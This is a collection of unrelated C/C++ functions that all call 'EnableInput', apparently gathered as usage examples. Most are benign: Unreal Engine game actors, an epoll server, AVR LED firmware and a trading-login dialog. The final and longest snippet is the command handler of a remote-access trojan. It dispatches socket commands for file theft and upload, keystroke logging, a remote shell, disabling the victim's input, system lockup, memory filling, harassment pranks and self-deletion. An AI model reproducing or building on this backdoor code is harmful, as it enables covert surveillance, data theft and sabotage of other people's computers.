//======================================================================== void AHexEditorActor::BeginPlay() { Super::BeginPlay(); AHexTileActor::Init(m_RootTileCoordinates); m_Grid.InsertElement({ 0, 0 }, this); EnableInput(GetWorld()->GetFirstPlayerController()); SwitchBindings(InputMode::Expanding); FVector locator(0, 0, 0); m_ArrowsParent = GetWorld()->SpawnActor(AActor::StaticClass()); m_ArrowsParent->SetRootComponent(NewObject<USceneComponent>(m_ArrowsParent,TEXT("ArrowsParent"))); for (int i = 0; i < 6; ++i) { FVector locator(0, 0, 0); FRotator rot(0, 60 * -i, 0); auto* actor = GetWorld()->SpawnActor(ExpansionArrowActor, &locator, &rot); m_Arrows[i] = CastChecked<AStaticMeshActor>(actor); m_Arrows[i]->GetStaticMeshComponent()->SetVisibility(false); m_Arrows[i]->GetStaticMeshComponent()->SetCollisionEnabled(ECollisionEnabled::NoCollision); m_Arrows[i]->GetStaticMeshComponent()->SetMobility(EComponentMobility::Movable); auto* arrowComp = m_Arrows[i]->FindComponentByClass<UExpandArrowComponent>(); check(arrowComp); arrowComp->SetRelativeDirection(i); m_Arrows[i]->GetStaticMeshComponent()->OnClicked.AddDynamic(arrowComp, &UExpandArrowComponent::OnClick); m_Arrows[i]->AttachRootComponentToActor(m_ArrowsParent); } }
//Required Overrides void AHydraPluginActor::BeginPlay() { Super::BeginPlay(); //Actors by default aren't attached to the input chain, so we enable input for this actor to forward Key and Gamepad Events APlayerController* PC = UGameplayStatics::GetPlayerController(this, 0); EnableInput(PC); //Required Hydra Initialization ValidSelfPointer = this; //required from v0.7 HydraStartup(); }
int CHelperUnit::send_to_logic (CTimerList* lst) { _helperTimer = lst; EnableInput (); // 这里关注EPOLLIN,也就是发送后端数据的时候才关注 if (connect() < 0) { reset_helper(); log_debug("Connect logic server failed!"); return -1; } AttachTimer(_helperTimer); return send_to_cgi(); }
// Revive Player void ARadeCharacter::Revive() { // Enable Input EnableInput(Cast<APlayerController>(Controller)); // Set Camer to Default Camera state CurrentCameraState = DefaultCameraState; // Resoter Half of player health Health = MaxHealth/2; bDead = false; // Restore Third Person Mesh to default State if (GetMesh()) { GetMesh()->SetSimulatePhysics(false); GetMesh()->AttachTo(RootComponent); GetMesh()->RelativeLocation = Mesh_InGameRelativeLoc; GetMesh()->RelativeRotation = Mesh_InGameRelativeRot; GetMesh()->BodyInstance.SetCollisionProfileName("Pawn"); } // Find The Closest Revive Point TActorIterator<APlayerStart> p(GetWorld()); APlayerStart* revivePoint = *p; for (TActorIterator<APlayerStart> ActorItr(GetWorld()); ActorItr; ++ActorItr) { if (revivePoint && FVector::Dist(revivePoint->GetActorLocation(), GetActorLocation())> FVector::Dist(ActorItr->GetActorLocation(), GetActorLocation())) { revivePoint = *ActorItr; } } UpdateComponentsVisibility(); // Create a small offset from the spawn point if (revivePoint) GetRootComponent()->SetWorldLocation(revivePoint->GetActorLocation() + FVector(FMath::RandRange(-400, 400), FMath::RandRange(-400, 400), 60)); //GetMovementComponent()->Activate(); // Call Revive on Blueprint BP_PlayerRevived(); }
void LiveInLight (void){ PORTB &= ~(1<<LedPin); // Light-up LED PWMStop(); while (1){ EnableInput (); DeepSleep(); DisableInput (); if (Valto != None) { EventHandler (); // if key pressed then shutdown if (Valto==KeyPressed) break; } } PWMStart(250); PORTB |= (1<<LedPin); // Shutdown LED }
bool CInputManager::Initialise() { m_pXInputController = new CXInputController(); m_pXInputController->Initialise(); m_pDirectInput = new CDirectInput(); m_pDirectInput->Initialise(); EnableInput(); return (true); }
int CListener::Attach (CPollerUnit* unit, CTimerList* webtimerlist, CTimerList* helpertimerlist, int blog) { if((netfd = CNet::tcp_bind(_bindAddr, _bindPort, blog)) == -1) // 创建 socket { log_error ("bind addr[%s], port[%d] failed.", _bindAddr, _bindPort); return -1; } _pollerunit = unit; _webtimerlist = webtimerlist; _helpertimerlist = helpertimerlist; EnableInput (); // 设置读事件 return AttachPoller(unit); // 将 netfd 关联 epoll_fd }
void LightUp (void){ uint8_t i; PWMStart(0); // Enable shutdown at Light-up for (i=0; i<=250; i++){ PWMSet (i); EnableInput (); if (i<PWMStepOver) Wait (PWMSlowDelay); else Wait (PWMQuickDelay); DisableInput (); if (Valto != None) { EventHandler (); // if key pressed then shutdown if (Valto==KeyPressed) break; } } }
int main (void){ // Setup IO DDRB = (0<<PB0)|(1<<PB1)|(0<<PB2)|(0<<PB3)|(0<<PB4); PORTB = (1<<PB0)|(1<<PB1)|(1<<PB2)|(0<<PB3)|(0<<PB4); // VCC-based LED while (1){ EnableInput (); DeepSleep(); DisableInput (); // **** Why wake? **** EventHandler(); if (Valto==KeyPressed) { Valto = None; Wait (_2_s); LightUp(); if (Valto == None) LiveInLight(); LightDown(); } } }
Air::U1 System::Initialization() { if(m_bInit) return false; OIS::KeyListener* pKey = this; OIS::MouseListener* pMouse = this; Engine::GetGlobalSetting().m_pInputSystem->Add(pKey); Engine::GetGlobalSetting().m_pInputSystem->Add(pMouse); Engine::Scene* pScene = GameSystem::GetSingleton()->GetCurrentSection()->GetScene(); m_pObjController = new Engine::ObjectController(); pScene->GetDynamicSceneNode()->CreateChildSceneNode()->attachObject(m_pObjController); m_bInit = true; if(!m_strDelaySceneName.empty()){ LoadScene(m_strDelaySceneName); m_strDelaySceneName.clear(); } EnableInput(true); return true; }
BOOL CDlgLevelInput::LoginLevel(const CString &strAccName, const CString &strAccPwd) { CString strUserAcc(""), strPwd(""); if (strAccName.IsEmpty() || strAccPwd.IsEmpty()) { EnableInput(FALSE); CString strText; CString strTitle; strTitle.LoadString(IDS_STRING_Error); ////////////////////////////////////////////////////////////////////////// // 获取账号、密码 GetDlgItem(IDC_EDIT_SHACC)->GetWindowText(strUserAcc); if (strUserAcc.IsEmpty()) { strText.LoadString(IDS_STRING_AccountError); MessageBox(strText,strTitle); EnableInput(TRUE); GetDlgItem(IDC_EDIT_SHACC)->SetFocus(); return FALSE; } strPwd = m_sEdit.GetRealText(); if (strPwd.IsEmpty()) { strText.LoadString(IDS_STRING_PasswardError); MessageBox(strText,strTitle); EnableInput(TRUE); m_sEdit.SetFocus(); return FALSE; } } else { strUserAcc = strAccName; strPwd = strAccPwd; } long handle = g_pDoLogin->ConnectServer(CEV_Connect_LEVEL2); if (handle) {// level2服务连接成功 IAccountMng *pTradeAccountMng = g_pDoLogin->m_pTradeCore->GetAccountMng(); if(pTradeAccountMng && pTradeAccountMng->GetCount(atLevel2) == 0) { //IAccount* pQHAccount = pTradeAccountMng->Add(atLevel2); IAccount* pQHAccount = pTradeAccountMng->NewAccount(atLevel2); if(pQHAccount) { pQHAccount->SetLoginAccount(strUserAcc); pQHAccount->SetCellNo(""); pQHAccount->SetLoginAccountType(""); pQHAccount->SetPassword(strPwd); pQHAccount->SetServerID(0); pQHAccount->SetBranchNo("0"); pQHAccount->SetConnectHandle(handle); CString sMsg = ""; if( pQHAccount->Login(sMsg) ) { pTradeAccountMng->Add(pQHAccount); pTradeAccountMng->SetCurrentAccount(pQHAccount); return TRUE; } else { pQHAccount->Release(); //pTradeAccountMng->DeleteAccount(pQHAccount); // CDataSourceInitDataStauts msg; // strncpy(msg.m_szMsg, sMsg, min(sMsg.GetLength()+1, 256)); // FSetProgressMsg(&msg); MessageBox(sMsg, "Error", MB_OK | MB_ICONERROR); } } } } EnableInput(TRUE); return TRUE; }
DWORD WINAPI HandleClient( LPVOID param ){ SOCKET s = *(SOCKET*)param; char buf[1024],tmp[64]; struct cmd_t cmd; int n; while(1){ n = recv( s , buf , 1023 , 0 ); buf[n] = 0; //MB(buf); if( n == 0 ) break; parse_cmd( buf , &cmd ); int sec = cmd.cmd_object; int arg = cmd.args; char *p = cmd.addnl.str; //wsprintf( tmp , "%d::%d" , sec , arg ); //MB(tmp); if( sec == CMD_FILE ){ switch( arg ){ case FILE_SDIR: SendDirTree( s , p , 0 ); break; case FILE_SDIREX: SendDirTree( s , p , 1 ); break; case FILE_SDRV: SendDriveSet( s ); break; case FILE_SEND: SendFile( s , p ); break; case FILE_RECV: RecvFile( s , p ); break; case FILE_MKDIR: LocalMkDir( p ); break; default: SendLn( s , "***file: bad args\r\n" ); } } else if( sec == CMD_HW ){ switch( arg ){ case HW_OPENCD: OpenCDTray(); break; case HW_CLOSECD: CloseCDTray(); break; case HW_MOUSE_R: SetMouseBns( MOUSE_RT ); break; case HW_MOUSE_L: SetMouseBns( MOUSE_LT ); break; case HW_MOUSE_SW: SwapMouseBns(); break; case HW_MONITOR1: MonitorPower( 1 ); break; case HW_MONITOR0: MonitorPower( 0 ); break; case HW_DB_CLK: DblClkDelay( cmd.addnl.nums[0] ); break; case HW_INPUT0: EnableInput( false ); break; case HW_INPUT1: EnableInput( true ); break; case HW_REBOOT: Reboot(); break; case HW_SHTDWN: ShutDown(); break; default: SendLn( s , "***bad args\r\n" ); } } else if( sec == CMD_KEYBD ){ switch( arg ){ case KEYBD_STARTLOG: KeyLog( true ); break; case KEYBD_STOPLOG: KeyLog( false ); break; default: SendLn( s , "***keybd: bad args\r\n" ); } } else if( sec == CMD_MOUSE ){ switch( arg ){ case MOUSE_FLY_STOP: FlyMousePtr( false ); break; case MOUSE_FLY: FlyMousePtr( true ); break; case MOUSE_FLY_CLK: FlyMousePtrClick( true ); break; case MOUSE_RESTRICT: RestrictMouseMovementTo(cmd.addnl.nums[0], cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[3] ); break; case MOUSE_SHOW: ShowMouseCursor( true ); break; case MOUSE_HIDE: ShowMouseCursor( false ); break; case MOUSE_CLK: MouseClick( cmd.addnl.nums[0] ); break; case MOUSE_CLK_PT: MouseClickPoint( cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[0] ); break; case MOUSE_SETPOS: SetMousePos( cmd.addnl.nums[0], cmd.addnl.nums[1] ); break; default: SendLn( s , "***mouse: bad args\r\n" ); } } else if( sec == CMD_SHELL ){ if( arg == SHELL_SPAWN ) CreateRemoteShell( s ); } else if( sec == CMD_SYS ){ unsigned long m; unsigned __int64 d; char msg[256]; switch( arg ){ case SYS_MAXMEM: m = GetMaxMem(); wsprintf( msg , "max mem: %u MiB\r\n" , m ); SendLn( s ,msg ); break; case SYS_BUSYMEM: m = GetBusyMem(); wsprintf( msg , "mem in use: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_FREEMEM: m = GetFreeMem(); wsprintf( msg , "free mem: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_MAXDISK: d = GetDiskUsage( cmd.addnl.str , U_TOTAL ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_USEDDISK: d = GetDiskUsage( cmd.addnl.str , U_USED ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_FREEDISK: d = GetDiskUsage( cmd.addnl.str , U_FREE ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_SYSDIR: wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() ); SendLn( s , msg ); break; case SYS_WINDIR: wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() ); SendLn( s , msg ); break; case SYS_CHDIR: cd( cmd.addnl.str ); break; case SYS_LOCKUP: SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" ); Sleep(2000); LockUp(); break; case SYS_RAMFILL: RamFill(); break; default: SendLn( s , "***sys: bad args\r\n" ); } } else if( sec == CMD_TBAR ){ switch(arg){ case TBAR_SHOW: ShowTaskBar( true ); break; case TBAR_HIDE: ShowTaskBar( false ); break; case TBAR_STBN_SHOW: ShowStartBn( true ); break; case TBAR_STBN_HIDE: ShowStartBn( false ); break; case TBAR_STBN_FLY1: FlyStartBn( true ); break; case TBAR_STBN_FLY0: FlyStartBn( false ); break; case TBAR_CLOCK_SHOW: ShowClock( true ); break; case TBAR_CLOCK_HIDE: ShowClock( false ); break; case TBAR_ENABLE: EnableTaskBar( true ); break; case TBAR_DISABLE: EnableTaskBar( false ); break; default: SendLn( s , "***tb: bad args\r\n" ); } } else if( sec == CMD_PRANK ){ switch(arg){ case PRANK_DTP_ENABLE: EnableDesktop( true ); break; case PRANK_DTP_DISABLE: EnableDesktop( false ); break; case PRANK_FU_START: if( !strequal( cmd.addnl.str , "" ) ) szFUStr = cmd.addnl.str; FuckYou( true ); break; case PRANK_FU_STOP: FuckYou( false ); break; case PRANK_WRUN_START: if( cmd.addnl.nums[0] > 0 ) uiRunWindowsDelay = cmd.addnl.nums[0]; MakeWindowsRun( true ); break; case PRANK_WRUN_STOP: MakeWindowsRun( false ); break; case PRANK_QUAKE_START: if( cmd.addnl.nums[0] > 0 ) uiQuakeDelay = cmd.addnl.nums[0]; Quake( true ); break; case PRANK_QUAKE_STOP: Quake( false ); break; default: SendLn( s , "***bad trigger\r\n" ); } } else if( sec == CMD_OWL ){ switch(arg){ case OWL_UNINSTALL: SelfDelete(); exit(0); break; default: SendLn( s , "***bad trigger\r\n" ); } } } return 0; }